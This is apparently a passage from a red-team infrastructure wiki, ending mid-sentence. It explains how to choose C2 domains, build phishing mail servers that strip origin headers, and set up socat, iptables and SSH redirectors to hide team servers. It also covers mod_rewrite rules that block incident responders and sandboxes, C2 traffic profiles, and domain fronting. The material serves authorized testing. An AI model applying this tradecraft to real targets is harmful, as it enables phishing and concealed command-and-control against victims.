![expireddomains.net](./images/expired-domains.png) When choosing a domain for C2 or data exfiltration, consider choosing a domain categorized as Finance or Healthcare. Many organizations will not perform SSL middling on those categories due to the possibility of legal or data sensitivity issues. It is also important to ensure your chosen domain is not associated with any previous malware or phishing campaigns. The tool [CatMyFish](https://github.com/Mr-Un1k0d3r/CatMyFish) by Charles Hamilton([@MrUn1k0d3r](https://twitter.com/mrun1k0d3r)) automates searches and web categorization checking with expireddomains.net and BlueCoat. It can be modified to apply more filters to searches or even perform long term monitoring of assets you register. Another tool, [DomainHunter](https://github.com/minisllc/domainhunter) by Joe Vest ([@joevest](https://twitter.com/joevest)) & Andrew Chiles ([@andrewchiles](https://twitter.com/andrewchiles)), returns BlueCoat/WebPulse, IBM X-Force, and Cisco Talos categorization, domain age, alternate available TLDs, Archive.org links, and an HTML report. Additionally, it performs checks for use in known malware and phishing campaigns using Malwaredomains.com and MXToolBox. This tool also includes OCR support for bypassing the BlueCoat/WebPulse captchas. Check out the [blog post](http://threatexpress.com/2017/03/leveraging-expired-domains-for-red-team-engagements/) about the tool's initial release for more details. Yet another tool, [AIRMASTER](https://github.com/t94j0/AIRMASTER) by [Max Harley (@Max_68)](https://twitter.com/@Max_68) uses expireddomains.net and Bluecoat to find categorized domains. This tool uses OCR to bypass the BlueCoat captcha, increasing the search speed. If a previously-registered domain isn't available or you would prefer a self-registered domain, it's possible to categorize domains yourself. Using the direct links below or a tool like [Chameleon](https://github.com/mdsecactivebreach/Chameleon) by Dominic Chell ([@domchell](https://twitter.com/domchell)). Most categorization products will overlook redirects or cloned content when determining the domain's categorization. For more information about Chameleon usage, check out Dominic's post [Categorisation is not a security boundary](https://www.mdsec.co.uk/2017/07/categorisation-is-not-a-security-boundary/). Finally, make sure your DNS settings have propogated correctly. * [DNS Propogation Checker](https://dnschecker.org/) ## Categorization and Blacklist Checking Resources * [McAfee](https://trustedsource.org/en/feedback/url?action=checksingle) * [Fortiguard](http://www.fortiguard.com/iprep) * [Symantec + BlueCoat](http://sitereview.bluecoat.com/sitereview.jsp) * [Checkpoint (requires free account)](https://www.checkpoint.com/urlcat/main.htm) * [Palo Alto](https://urlfiltering.paloaltonetworks.com/) * [Sophos (submission only; no checking)](https://secure2.sophos.com/en-us/support/contact-support.aspx) - Click Submit a Sample -> Web Address * [TrendMicro](https://global.sitesafety.trendmicro.com/) * [Brightcloud](http://www.brightcloud.com/tools/url-ip-lookup.php) * [Websense (Forcepoint)](http://csi.websense.com/) * [Lightspeed Systems](https://archive.lightspeedsystems.com/) * [Chameleon](https://github.com/mdsecactivebreach/Chameleon) * [SenderBase](https://www.senderbase.org/) * [MultiBL](http://multirbl.valli.org/) * [MXToolBox - Blacklists](https://mxtoolbox.com/blacklists.aspx) # Phishing Setup ## Easy Web-Based Phishing The words easy and phishing never really seem to go together. Setting up a proper phishing infrastructure can be a real pain. The following tutorial will provide you with the knowledge and tools to quickly setup a phishing server that passes "most" spam filters to-date and provides you with a RoundCube interface for an easy phishing experience including two-way communications with your target. There are many setup's and posts out there regarding phishing. This is just one method. Once you have a domain that passes the proper checks listed in the previous section and have your phishing server spun-up, you'll need to create a couple "A" records for your domain as pictured. ![DNS Setup](./images/setup_dns_a_record_for_ssl.PNG) Next, ssh into your phishing server and make sure you have a proper FQDN hostname listed in your /etc/hosts. Example "127.0.0.1 email.yourphishingserver.com email localhost" Now, you're going to install the web front-end to phish from in just a few easy steps. Start by downloading the latest "BETA" version of [iRedMail](http://www.iredmail.org/download.html) onto your phishing server. Easy way is to right click the download button, copy the link address, use wget to download directly onto your phishing server. Next, untar it "tar -xvf iRedMail-0.9.8-beta2.tar.bz2". Navigate into the unpacked folder and make the iRedMail.sh script executable (chmod +x iRedMail.sh). Execute the script as root, follow the prompts, and you'll need to reboot to finish everything. You'll want to make sure you have all the proper DNS records ponting to your mail server. (https://docs.iredmail.org/setup.dns.html). For DKIM, the new command should be "amavisd-new showkeys" to list your DKIM key. For DMARC we can use (https://www.unlocktheinbox.com/dmarcwizard/) to generate our dmarc entry. ![iRedMail Dashboard](./images/iredadmin_dashboard.PNG) Now, create a user to phish with. ![iRedMail Create User](./images/iredadmin_user_add.PNG) Login to the RoundCube interface with your new user and phish responsibly! ![RoundCube Login](./images/roundcube_login.PNG) ![RoundCube Send Mail](./images/final_phish_away.PNG) ## Cobalt Strike Phishing Cobalt Strike provides customizable spearphishing functionality to support pentest or red team email phishing. It supports templates in HTML and/or plaintext formats, attachments, a bounceback address, URL embedding, remote SMTP server usage, and per-message send delays. Another interesting feature is the ability to add a unique token to each user's embedded URL for click tracking. ![Cobalt Strike Spearphishing Popup](/images/cobalt-strike-phishing-popup.png) For more detailed information, check out these resources: * [Cobalt Strike - Spear Phishing documentation](https://www.cobaltstrike.com/help-spear-phish) * [Cobalt Strike Blog - What's the go-to phishing technique or exploit?](https://blog.cobaltstrike.com/2014/12/17/whats-the-go-to-phishing-technique-or-exploit/) * [Spear phishing with Cobalt Strike - Raphael Mudge](https://www.youtube.com/watch?v=V7UJjVcq2Ao) * [Advanced Threat Tactics (3 of 9) - Targeted Attacks - Raphael Mudge](https://www.youtube.com/watch?v=CxQfWtqpwRs) ## Phishing Frameworks Beyond rolling your own phishing setup or using a pentest or red teaming fraework, like Cobalt Strike, there are numerous tools and frameworks dedicated to email phishing. While this wiki won't go into detail about each framework, a few resources for each are collected below: ### Gophish * [Gophish Official Site](https://getgophish.com/) * [Gophish GitHub Repo](https://github.com/gophish/gophish) * [Gophish User Guide](https://www.gitbook.com/book/gophish/user-guide/details) ### Phishing Frenzy * [Phishing Frenzy Official Site](https://www.phishingfrenzy.com/) * [Phishing Frenzy GitHub Repo](https://github.com/pentestgeek/phishing-frenzy) * [Introducing Phishing Frenzy - Brandon McCann (@zeknox)](https://www.pentestgeek.com/phishing/introducing-phishing-frenzy) ### The Social-Engineer Toolkit * [The Social-Engineer Toolkit GitHub Repo](https://github.com/trustedsec/social-engineer-toolkit) * [The Social-Engineer Toolkit User Manual](https://github.com/trustedsec/social-engineer-toolkit/raw/master/readme/User_Manual.pdf) ### FiercePhish (formerly FirePhish) * [FiercePhish GitHub Repo](https://github.com/Raikia/FiercePhish) * [FiercePhish Wiki](https://github.com/Raikia/FiercePhish/wiki) # Redirectors ## SMTP “Redirector” may not be the best word to describe what we’re going to accomplish, but the goal is the same as with our other redirection. We want to remove any traces of our phishing origination from the final email headers and provide a buffer between the victim and our backend server. Ideally, the SMTP redirector will be quick to setup and easy to decommission. There are two key actions we want to configure an SMTP redirector to perform: ### Sendmail #### Remove previous server headers Add the following line to the end of `/etc/mail/sendmail.mc`: ```bash define(`confRECEIVED_HEADER',`by $j ($v/$Z)$?r with $r$. id $i; $b')dnl ``` Add to the end of `/etc/mail/access`: ```bash IP-to-Team-Server *TAB* RELAY Phish-Domain *TAB* RELAY ``` [Removing Sender’s IP Address From Email’s Received From Header](https://www.devside.net/wamp-server/removing-senders-ip-address-from-emails-received-from-header) [Removing Headers from Postfix setup](https://major.io/2013/04/14/remove-sensitive-information-from-email-headers-with-postfix/) #### Configure a catch-all address This will relay any email received to *@phishdomain.com to a chosen email address. This is highly useful to receive any responses or bounce-backs to a phishing email. ```bash echo PHISH-DOMAIN >> /etc/mail/local-host-names ``` Add the following line right before `//Mailer Definitions//` (towards the end) of `/etc/mail/sendmail.mc`: ```bash FEATURE(`virtusertable', `hash -o /etc/mail/virtusertable.db')dnl ``` Add the following line to the end of `/etc/mail/virtusertable`: ```bash @phishdomain.com external-relay-address ``` *Note: The two fields should be tab-separated* ### Postfix Postfix provides an easier alternative to sendmail with wider compatiblity. Postfix also offers full IMAP support with Dovecot. This allows testers to correspond in real-time with phishing targets who respond to the original message, rather than relying on the catch-all address and having to create a new message using your phishing tool. A full guide to setting up a Postfix mail server for phishing is available in Julian Catrambone's ([@n0pe_sled](https://twitter.com/n0pe_sled)) post [Mail Servers Made Easy](https://blog.inspired-sec.com/archive/2017/02/14/Mail-Server-Setup.html). ## DNS ![Sample DNS Redirector Setup](./images/dns_redirection.png) Note: When using C2 redirectors, a foreign listener should be configured on your post-exploitation framework to send staging traffic through the redirector domain. This will cause the compromised host to stage through the redirector like the C2 traffic itself. ### socat for DNS socat can be used to redirect incoming DNS packets on port 53 to our team server. While this method works, some user’s have reported staging issues with Cobalt Strike and or latency issues using this method. Edit 4/21/2017: The following socat command seems to work well thanks to testing from @xorrior: ``` socat udp4-recvfrom:53,reuseaddr,fork udp4-sendto:<IPADDRESS>; echo -ne ``` [Redirecting Cobalt Strike DNS Beacons - Steve Borosh](https://medium.com/rvrsh3ll/redirecting-cobalt-strike-dns-beacons-e3dcdb5a8b9b) ### iptables for DNS iptables DNS forwarding rules have been found to work well with Cobalt Strike. There does not seem to be any of the issues that socat has handling this type of traffic. An example DNS redirector rule-set is below. ```bash iptables -I INPUT -p udp -m udp --dport 53 -j ACCEPT iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to-destination <IP-GOES-HERE>:53 iptables -t nat -A POSTROUTING -j MASQUERADE iptables -I FORWARD -j ACCEPT iptables -P FORWARD ACCEPT sysctl net.ipv4.ip_forward=1 ``` Also, change "FORWARD" chain policy to "ACCEPT" ### DNS redirection can also be done behind NAT Some may have the requirement or need to host a c2 server on an internal network. Using a combination of IPTABLES, SOCAT, and reverse ssh tunnels, we can certainly achieve this in the following manner. ![Sample DNS NAT Setup](./images/dns_nat.png) In this scenario we have our volitile redirector using IPTables to forward all DNS traffic using the rule example described earlier in this section. Next, we create an SSH reverse port forward tunnel from our internal c2 server, to our main redirector. This will forward any traffic the main redirector receives on port 6667 to the internal c2 server on port 6667. Now, start socat on our team server to fork any of the incoming TCP traffic on port 6667 to UDP port 53 which, is what our DNS c2 needs to listen on. Finally, we similarly setup a socat instance on the main redirector to redirect any incoming UDP port 53 traffic into our SSH tunnel on port 6667. ## HTTP(S) Note: When using C2 redirectors, a foreign listener should be configured on your post-exploitation framework to send staging traffic through the redirector domain. This will cause the compromised host to stage through the redirector like the C2 traffic itself. ### socat vs mod_rewrite socat provides a ‘dumb pipe’ redirection. Any request socat receives on the specified source interface/port is redirected to the destination IP/port. There is no filtering or conditional redirecting. Apache mod_rewrite, on the other hand, provides a number of methods to strengthen your phishing and increase the resilience of your testing infrastructure. mod_rewrite has the ability to perform conditional redirection based on request attributes, such as URI, user agent, query string, operating system, and IP. Apache mod_rewrite uses htaccess files to configure rulesets for how Apache should handle each incoming request. Using these rules, you could, for instance, redirect requests to your server with the default wget user agent to a legitimate page on your target's website. In short, if your redirector needs to perform conditional redirection or advanced filtering, use Apache mod_rewrite. Otherwise, socat redirection with optional iptables filtering will suffice. ### socat for HTTP socat can be used to redirect any incoming TCP packets on a specified port to our team server. The basic syntax to redirect TCP port 80 on localhost to port 80 on another host is: ``` socat TCP4-LISTEN:80,fork TCP4:<REMOTE-HOST-IP-ADDRESS>:80 ``` If your redirector is configured with more than one network interface, socat can be bound to a specific interface, by IP address, with the following syntax: ``` socat TCP4-LISTEN:80,bind=10.0.0.2,fork TCP4:1.2.3.4:80 ``` In this example, 10.0.0.2 is one of the redirector's local IP addresses and 1.2.3.4 is the remote team server's IP address. ### iptables for HTTP In addition to socat, iptables can perform 'dumb pipe' redirection via NAT. To forward the redirector's local port 80 to a remote host, use the following syntax: ``` iptables -I INPUT -p tcp -m tcp --dport 80 -j ACCEPT iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination <REMOTE-HOST-IP-ADDRESS>:80 iptables -t nat -A POSTROUTING -j MASQUERADE iptables -I FORWARD -j ACCEPT iptables -P FORWARD ACCEPT sysctl net.ipv4.ip_forward=1 ``` ### SSH for HTTP We have previously covered using SSH for DNS tunnels. SSH works as a solid, and robust means to break through NAT and obtain a way for the implant to connect to a redirector and into your server environment. Before setting up an SSH redirector, you must add the following lines to `/etc/ssh/sshd_config`: ```text # Allow the SSH client to specify which hosts may connect GatewayPorts yes # Allow both local and remote port forwards AllowTcpForwarding yes ``` To forward the redirector's local port 80 to your internal teamsrver, use the following syntax on the internal server: ``` tmux new -S redir80 ssh <redirector> -R *:80:localhost:80 Ctrl+B, D ``` You can also forward more than one port, for example if you want 443 and 80 to be open all at once: ``` tmux new -S redir80443 ssh <redirector> -R *:80:localhost:80 -R *:443:localhost:443 Ctrl+B, D ``` ### Payloads and Web Redirection When serving payload and web resources, we want to minimize the ability for incident responders to review files and increase the chances of successfully executing the payload, whether to establish C2 or gather intelligence. ![Sample Apache Redirector Setup](./images/apache-redirector-setup.png) Apache Mod_Rewrite usage and examples by Jeff Dimmock: * [Strengthen Your Phishing with Apache mod_rewrite](https://bluescreenofjeff.com/2016-03-22-strengthen-your-phishing-with-apache-mod_rewrite-and-mobile-user-redirection/) * [Invalid URI Redirection with Apache mod_rewrite](https://bluescreenofjeff.com/2016-03-29-invalid-uri-redirection-with-apache-mod_rewrite/) * [Operating System Based Redirection with Apache mod_rewrite](https://bluescreenofjeff.com/2016-04-05-operating-system-based-redirection-with-apache-mod_rewrite/) * [Combatting Incident Responders with Apache mod_rewrite](https://bluescreenofjeff.com/2016-04-12-combatting-incident-responders-with-apache-mod_rewrite/) * [Expire Phishing Links with Apache RewriteMap](https://bluescreenofjeff.com/2016-04-19-expire-phishing-links-with-apache-rewritemap/) * [Apache mod_rewrite Grab Bag](https://bluescreenofjeff.com/2016-12-23-apache_mod_rewrite_grab_bag/) * [Serving Random Payloads with Apache mod_rewrite](https://bluescreenofjeff.com/2017-06-13-serving-random-payloads-with-apache-mod_rewrite/) Other Apache mod_rewrite usage and examples: * [mod_rewrite rule to evade vendor sandboxes from Jason Lang @curi0usjack](https://gist.github.com/curi0usJack/971385e8334e189d93a6cb4671238b10) * [Serving random payloads with NGINX - Gist by jivoi](https://gist.github.com/jivoi/a33ace2e25515a31aa2ffbae246d98c9) To automatically set up Apache Mod_Rewrite on a redirector server, check out Julain Catrambone's ([@n0pe_sled](https://twitter.com/n0pe_sled)) blog post [Mod_Rewrite Automatic Setup](https://blog.inspired-sec.com/archive/2017/04/17/Mod-Rewrite-Automatic-Setup.html) and the [accompanying tool](https://github.com/n0pe-sled/Apache2-Mod-Rewrite-Setup). ### C2 Redirection The intention behind redirecting C2 traffic is twofold: obscure the backend team server and appear to be a legitimate website if browsed to by an incident responder. Through the use of Apache mod_rewrite and [customized C2 profiles](#modifying-c2-traffic) or other proxying (such as with Flask), we can reliably filter the real C2 traffic from investigative traffic. * [Cobalt Strike HTTP C2 Redirectors with Apache mod_rewrite - Jeff Dimmock](https://bluescreenofjeff.com/2016-06-28-cobalt-strike-http-c2-redirectors-with-apache-mod_rewrite/) * [Securing your Empire C2 with Apache mod_rewrite - Gabriel Mathenge (@_theVIVI)](https://thevivi.net/2017/11/03/securing-your-empire-c2-with-apache-mod_rewrite/) * [Hybrid Cobalt Strike Redirectors](https://zachgrace.com/2018/02/20/cobalt_strike_redirectors.html) - [Zach Grace (@ztgrace)](https://twitter.com/ztgrace) and [@m0ther_](https://twitter.com/m0ther_) #### C2 Redirection with HTTPS Building on "C2 Redirection" above, another method is to have your redirecting server use Apache's SSL Proxy Engine to accept inbound SSL requests, and proxy those to requests to a reverse-HTTPS listener. Encryption is used at all stages, and you can rotate SSL certificates on your redirector as needed. To make this work with your mod_rewrite rules, you need to place your rules in **"/etc/apache2/sites-available/000-default-le-ssl.conf"** assuming you've used LetsEncrypt (aka CertBot) to install your certificate. Also, to enable the SSL ProxyPass engine, you'll need the following lines in that same config file: ```bash # Enable the Proxy Engine SSLProxyEngine On # Tell the Proxy Engine where to forward your requests ProxyPass / https://DESTINATION_C2_URL:443/ ProxyPassReverse / https://DESTINATION_C2_URL:443/ # Disable Cert checking, useful if you're using a self-signed cert SSLProxyCheckPeerCN off SSLProxyCheckPeerName off SSLProxyCheckPeerExpire off ``` ### Other Apache mod_rewrite Resources * [Automating Apache mod_rewrite and Cobalt Strike Profiles](https://posts.specterops.io/automating-apache-mod-rewrite-and-cobalt-strike-malleable-c2-profiles-d45266ca642) * [mod-rewrite-cheatsheet.com](http://mod-rewrite-cheatsheet.com/) * [Official Apache 2.4 mod_rewrite Documentation](http://httpd.apache.org/docs/current/rewrite/) * [Apache mod_rewrite Introduction](https://httpd.apache.org/docs/2.4/en/rewrite/intro.html) * [An In-Depth Guide to mod_rewrite for Apache](http://code.tutsplus.com/tutorials/an-in-depth-guide-to-mod_rewrite-for-apache--net-6708) * [Mod_Rewrite/.htaccess Syntax Checker](http://www.htaccesscheck.com/) # Modifying C2 Traffic ## Cobalt Strike Cobalt Strike modifies its traffic with Malleable C2 profiles. Profiles provide highly-customizable options for modifying how your server’s C2 traffic will look on the wire. Malleable C2 profiles can be used to strengthen incident response evasion, impersonate known adversaries, or masquerade as legitimate internal applications used by the target. * [Official Malleable C2 Profiles - GitHub](https://github.com/rsmudge/Malleable-C2-Profiles) * [Malleable Command and Control Documentation - cobaltstrike.com](https://www.cobaltstrike.com/help-malleable-c2) * [Cobalt Strike 2.0 - Malleable Command and Control - Raphael Mudge](http://blog.cobaltstrike.com/2014/07/16/malleable-command-and-control/) * [Cobalt Strike 3.6 - A Path for Privilege Escalation - Raphael Mudge](http://blog.cobaltstrike.com/2016/12/08/cobalt-strike-3-6-a-path-for-privilege-escalation/) * [A Brave New World: Malleable C2 - Will Schroeder (@harmj0y)](http://www.harmj0y.net/blog/redteaming/a-brave-new-world-malleable-c2/) * [How to Write Malleable C2 Profiles for Cobalt Strike - Jeff Dimmock](https://bluescreenofjeff.com/2017-01-24-how-to-write-malleable-c2-profiles-for-cobalt-strike/) * [In-Memory Evasion (Video series) - Raphael Mudge](https://www.youtube.com/watch?v=lz2ARbZ_5tE&list=PL9HO6M_MU2nc5Q31qd2CwpZ8J4KFMhgnK) As you begin creating or modifying Malleable C2 profiles, it's important to keep data size limits for the Beacon info placement. For example, configuring the profile to send large amounts of data in a URL parameter will require many requests. For more information about this, check out Raphael Mudge's blog post [Beware of Slow Downloads](https://blog.cobaltstrike.com/2018/03/09/beware-of-slow-downloads/). If you encounter issues with your Malleable C2 profile and notice the teamserver console outputting errors, refer to Raphael Mudge's blog post [Broken Promises and Malleable C2 Profiles](https://blog.cobaltstrike.com/2018/06/04/broken-promises-and-malleable-c2-profiles/) for troubleshooting tips. ## Empire Empire uses Communication Profiles, which provide customization options for the GET request URIs, user agent, and headers. The profile consists of each element, separated by the pipe character, and set with the `set DefaultProfile` option in the `listeners` context menu. Here is a sample default profile: ```bash "/CWoNaJLBo/VTNeWw11212/|Mozilla/4.0 (compatible; MSIE 6.0;Windows NT 5.1)|Accept:image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*|Accept-Language:en-en" ``` Alternatively, the DefaultProfile value can be set by modifying the file `/setup/setup_database.py` before Empire’s initial setup. This will change the default Communication Profile that Empire will use. In addition to the Communication Profile, consider customizing the Empire server's staging URIs, server headers, and defaut webpage content by following the steps presented in Joe Vest's ([@joevest](https://twitter.com/joevest)) post [Empire - Modifying Server C2 Indicators](http://threatexpress.com/2017/05/empire-modifying-server-c2-indicators/). * [Default Empire Communication Profiles (in Empire GitHub repo)](https://github.com/EmpireProject/Empire/tree/master/data/profiles) * [How to Make Communication Profiles for Empire - Jeff Dimmock](https://bluescreenofjeff.com/2017-03-01-how-to-make-communication-profiles-for-empire/) # Third-Party C2 Channels Leveraging trusted, legitimate web services for C2 can provide a valuable leg-up over using domains and infrastructure you've configured yourself. Configuration time and complexity varies based on the technique and service being used. A popular example of leveraging third-party services for C2 redirection is Domain Fronting. ## Domain Fronting Domain Fronting is a technique used by censorship evasion services and apps to route traffic through legitimate and highly-trusted domains. Popular services that support Domain Fronting include [Google App Engine](https://cloud.google.com/appengine/), [Amazon CloudFront](https://aws.amazon.com/cloudfront/), and [Microsoft Azure](https://azure.microsoft.com/). It's important to note that many providers, like [Google](https://arstechnica.com/information-technology/2018/04/google-disables-domain-fronting-capability-used-to-evade-censors/) and [Amazon](https://aws.amazon.com/blogs/security/enhanced-domain-protections-for-amazon-cloudfront-requests/) have implemented mitigations against Domain Fronting, so some linked resources or information provided in this wiki may be outdated by the time you try to use it. In a nutshell, traffic uses the DNS and SNI name of the trusted service provider, Google is used in the example below. When the traffic is received by the Edge Server (ex: located at gmail.com), the packet is forwarded to the Origin Server (ex: phish.appspot.com) specified in the packet’s Host header. Depending on the service provider, the Origin Server will either directly forward traffic to a specified domain, which we’ll point to our team server, or a proxy app will be required to perform the final hop forwarding. ![Domain Fronting Overview](./images/domain-fronting.png) For more detailed information about how Domain Fronting works, see the whitepaper [Blocking-resistant communication through domain fronting](https://www.bamsoftware.com/papers/fronting/) and the TOR Project’s [meek documentation](https://trac.torproject.org/projects/tor/wiki/doc/meek) In addition to the standard frontable domains, such as any google.com domain, it's possible to leverage other legitimate domains for fronting. For more information about hunting frontable domains, check out: * [Domain Fronting via Cloudfront Alternate Domains - Vincent Yiu (@vysecurity)](https://www.mdsec.co.uk/2017/02/domain-fronting-via-cloudfront-alternate-domains/) * [Finding Domain frontable Azure domains - thoth / Fionnbharr (@a_profligate)](https://theobsidiantower.com/2017/07/24/d0a7cfceedc42bdf3a36f2926bd52863ef28befc.html) * [Google Groups: Blog post on finding 2000+ Azure domains using Censys](https://groups.google.com/forum/#!topic/traffic-obf/7ygIXCPebwQ) * [FindFrontableDomains tool - Steve Borosh (@rvrsh3ll)](https://github.com/rvrsh3ll/FindFrontableDomains) ### Further Resources on Domain Fronting * [Simplifying Domain Fronting - Tim Malcomvetter (@malcomvetter)](https://medium.com/@malcomvetter/simplifying-domain-fronting-8d23dcb694a0) * [High-reputation Redirectors and Domain Fronting - Raphael Mudge](https://blog.cobaltstrike.com/2017/02/06/high-reputation-redirectors-and-domain-fronting/) * [Empire Domain Fronting - Chris Ross (@xorrior)](https://www.xorrior.com/Empire-Domain-Fronting/) * [Escape and Evasion Egressing Restricted Networks - Tom Steele (@_tomsteele) and Chris Patten](https://www.optiv.com/blog/escape-and-evasion-egressing-restricted-networks) * [Red Team Insights on HTTPS Domain Fronting Google Hosts Using Cobalt Strike](https://www.cyberark.com/threat-research-blog/red-team-insights-https-domain-fronting-google-hosts-using-cobalt-strike/) - [Will Vandevanter and Shay Nahari of CyberArk](https://www.cyberark.com) * [SSL Domain Fronting 101 - Steve Borosh (@424f424f)](https://medium.com/rvrsh3ll/ssl-domain-fronting-101-4348d410c56f) * [How I Identified 93k Domain-Frontable CloudFront Domains - Chris Myers (@SWIZZLEZ_) and Barrett Adams (@PEEWPW)](https://www.peew.pw/blog/2018/2/22/how-i-identified-93k-domain-frontable-cloudfront-domains) * [Domain Fronting: Who Am I? - Vincent Yiu (@vysecurity)](https://medium.com/@vysec.private/domain-fronting-who-am-i-3c982ccd52e6) * [Validated CloudFront SSL Domains - Vincent Yiu (@vysecurity)](https://medium.com/@vysec.private/validated-cloudfront-ssl-domains-27895822cea3) * [CloudFront Hijacking](https://www.mindpointgroup.com/blog/pen-test/cloudfront-hijacking/) - [Matt Westfall (@disloops)](https://twitter.com/disloops) * [CloudFrunt GitHub Repo](https://github.com/MindPointGroup/cloudfrunt) - [MindPointGroup](https://github.com/MindPointGroup) * [Metasploit Domain Fronting With Microsoft Azure (@ch1gg1ns)](https://chigstuff.com/blog/metasploit-domain-fronting-with-microsoft-azure/) * [Alibaba CDN Domain Fronting - Vincent Yiu (@vysecurity)](https://medium.com/@vysec.private/alibaba-cdn-domain-fronting-1c0754fa0142) * [CloudFlare Domain Fronting: an easy way to reach (and hide) a malware C&C - @theMiddle (Medium)](https://medium.com/@themiddleblue/cloudflare-domain-fronting-an-easy-way-to-reach-and-hide-a-malware-c-c-786255f0f437) ## PaaS Redirectors Many PaaS and SaaS providers provide a static subdomain or URL for use with a provisioned instance. If the associated domain is generally highly trusted, the instances could provide extra trust to your C2 infrastructure over a purchased domain and VPS. To set the redirection up, you will need to identify a service that issues a static subdomain or URL as part of an instance. Then, either the instance will need to be configured with network or application-based redirection. The instance will act as a proxy, similar to the other redirectors discussed on this wiki. Another interesting technique that merits further research is the use of overly-permissive Amazon S3 buckets for C2. Check out the post [S3 Buckets for Good and Evil](https://pentestarmoury.com/2017/07/19/s3-buckets-for-good-and-evil/) by [Andrew Luke (@Sw4mp_f0x)](https://twitter.com/Sw4mp_f0x) for more details on how S3 buckets could be used for C2. This technique could be combined with the third-party C2 capabilities of Empire to use the target's legitimate S3 buckets against them. For another example of using PaaS for C2, check out [Databases and Clouds: SQL Server as a C2](https://blog.netspi.com/databases-and-clouds-sql-server-as-a-c2/) by Scott Sutherland ([@_nullbind](https://twitter.com/_nullbind)). ## Other Third-Party C2 Other third-party services have been used in the wild for C2 in the past. Leveraging third-party websites that allow for the rapid posting or modification of user-generated content can help you evade reputation-based controls, especially if the third-party site is generally trusted. Check out these resources for other third-party C2 options: * [canisrufus (GitHub Repo)](https://github.com/maldevel/canisrufus) - [maldevel](https://github.com/maldevel) * [External C2 (Third-Party Command and Control) - Cobalt Strike Documentation](https://www.cobaltstrike.com/help-externalc2) * [Cobalt Strike over external C2 – beacon home in the most obscure ways](https://outflank.nl/blog/2017/09/17/blogpost-cobalt-strike-over-external-c2-beacon-home-in-the-most-obscure-ways/) - [Mark Bergman at outflank.nl](https://outflank.nl/blog/author/mark/) * [“Tasking” Office 365 for Cobalt Strike C2](https://labs.mwrinfosecurity.com/blog/tasking-office-365-for-cobalt-strike-c2) - [William Knowles (@william_knows)](https://twitter.com/william_knows) * [External C2 for Cobalt Strike](https://github.com/ryhanson/ExternalC2/) - [Ryan Hanson (@ryhanson)](https://twitter.com/ryhanson) * [External C2 framework for Cobalt Strike](http://www.insomniacsecurity.com/2018/01/11/externalc2.html) - [Jonathan Echavarria (@Und3rf10w)](https://twitter.com/und3rf10w) * [External C2 framework (GitHub Repo)](https://github.com/Und3rf10w/external_c2_framework) - [Jonathan Echavarria (@Und3rf10w)](https://twitter.com/und3rf10w) * [Hiding in the Cloud: Cobalt Strike Beacon C2 using Amazon APIs](https://rhinosecuritylabs.com/aws/hiding-cloudcobalt-strike-beacon-c2-using-amazon-apis/) - [Rhino Security Labs](https://rhinosecuritylabs.com) * [Exploring Cobalt Strike's ExternalC2 framework](https://blog.xpnsec.com/exploring-cobalt-strikes-externalc2-framework/) - [Adam (@_xpn_)](https://twitter.com/_xpn_) # Obscuring Infrastructure Attack infrastructure is often easy to identify, appearing like a shell of a legitimate server. We will need to take additional steps with our infrastructure to increase the likelihood of blending in with real servers amongst either the target organization or services the target may conceivably use. [Redirectors](#redirectors) can help blend in by [redirecting invalid URIs](https://bluescreenofjeff.com/2016-03-29-invalid-uri-redirection-with-apache-mod_rewrite/), [expiring phishing payload links](https://bluescreenofjeff.com/2016-04-19-expire-phishing-links-with-apache-rewritemap/), or [blocking common incident responder techniques](https://bluescreenofjeff.com/2016-04-12-combatting-incident-responders-with-apache-mod_rewrite/); however, attention should also be paid to the underlying host and its indicators. For example, in the post [Fall of an Empire](http://securesql.info/hacks/2017/4/5/fall-of-an-empire), John Menerick ([@Lord_SQL](https://twitter.com/Lord_SQL)) covers methods to detect Empire servers on the internet. To combat these and similar indicators, it's a good idea to [modify C2 traffic patterns](#modifying-c2-traffic), modify server landing pages, restrict open ports, and modify default response headers. For more details about how to do these and other tactics for multiple attack frameworks, check out these posts: * [Empire – Modifying Server C2 Indicators](http://threatexpress.com/2017/05/empire-modifying-server-c2-indicators/) - [Andrew Chiles](https://twitter.com/andrewchiles) * [Hunting Red Team Empire C2 Infrastructure](http://www.chokepoint.net/2017/04/hunting-red-team-empire-c2.html) - [chokepoint.net](http://www.chokepoint.net/) * [Hunting Red Team Meterpreter C2 Infrastructure](http://www.chokepoint.net/2017/04/hunting-red-team-meterpreter-c2.html) - [chokepoint.net](http://www.chokepoint.net/) * [Identifying Empire HTTP Listeners (Tenable Blog)](https://www.tenable.com/blog/identifying-empire-http-listeners) - [Jacob Baines](https://www.tenable.com/profile/jacob-baines) * [Host Header Manipulation - Vincent Yiu (@vysecurity)](https://vincentyiu.co.uk/host-header-manipulation/) # Securing Infrastructure Attack infrastructure can be attacked just the same as any other internet-connected host, and it should be considered HIGHLY sensitive due to the data in use and connections into target environments. In 2016, remote code execution vulnerabilities were disclosed on the most common attack tools: * [2016 Metasploit RCE Static Key Deserialization](https://github.com/justinsteven/advisories/blob/master/2016_metasploit_rce_static_key_deserialization.md) * [2017 Metasploit Meterpreter Dir Traversal Bugs](https://github.com/justinsteven/advisories/blob/master/2017_metasploit_meterpreter_dir_traversal_bugs.md) * [Empire Fails - Will Schroeder](http://www.harmj0y.net/blog/empire/empire-fails/) * [Cobalt Strike 3.5.1 Important Security Update - Raphael Mudge](http://blog.cobaltstrike.com/2016/10/03/cobalt-strike-3-5-1-important-security-update/) **iptables** should be used to filter unwanted traffic and restrict traffic between required infrastructure elements. For example, if a Cobalt Strike team server will only serve assets to an Apache redirector, iptables rules should only allow port 80 from the redirector’s source IP. This is especially important for any management interfaces, such as SSH or Cobalt Strike’s default port 50050. Also consider blocking non-target country IPs. As an alternative, consider using hypervisor firewalls provided by your VPS providers. For example, Digital Ocean offers [Cloud Firewalls](https://www.digitalocean.com/community/tutorials/an-introduction-to-digitalocean-cloud-firewalls) that can protect one or multiple droplets. **chattr** can be used on team servers to prevent cron directories from being modified. Using chattr, you can restrict any user, including root, from modifying a file until the chattr attribute is removed. **SSH** should be limited to public-key authentication only and configured to use limited-rights users for initial login. For added security, consider adding multi-factor authentication to SSH. **Update!** No securing list is complete without a reminder to regularly update systems and apply hot-fixes as needed to remediate vulnerabilities. Of course, this list is not exhaustive of what you can do to secure a team server. Follow common hardening practices on all infrastructure: * [Red Hat Enterprise Linux 6 Security 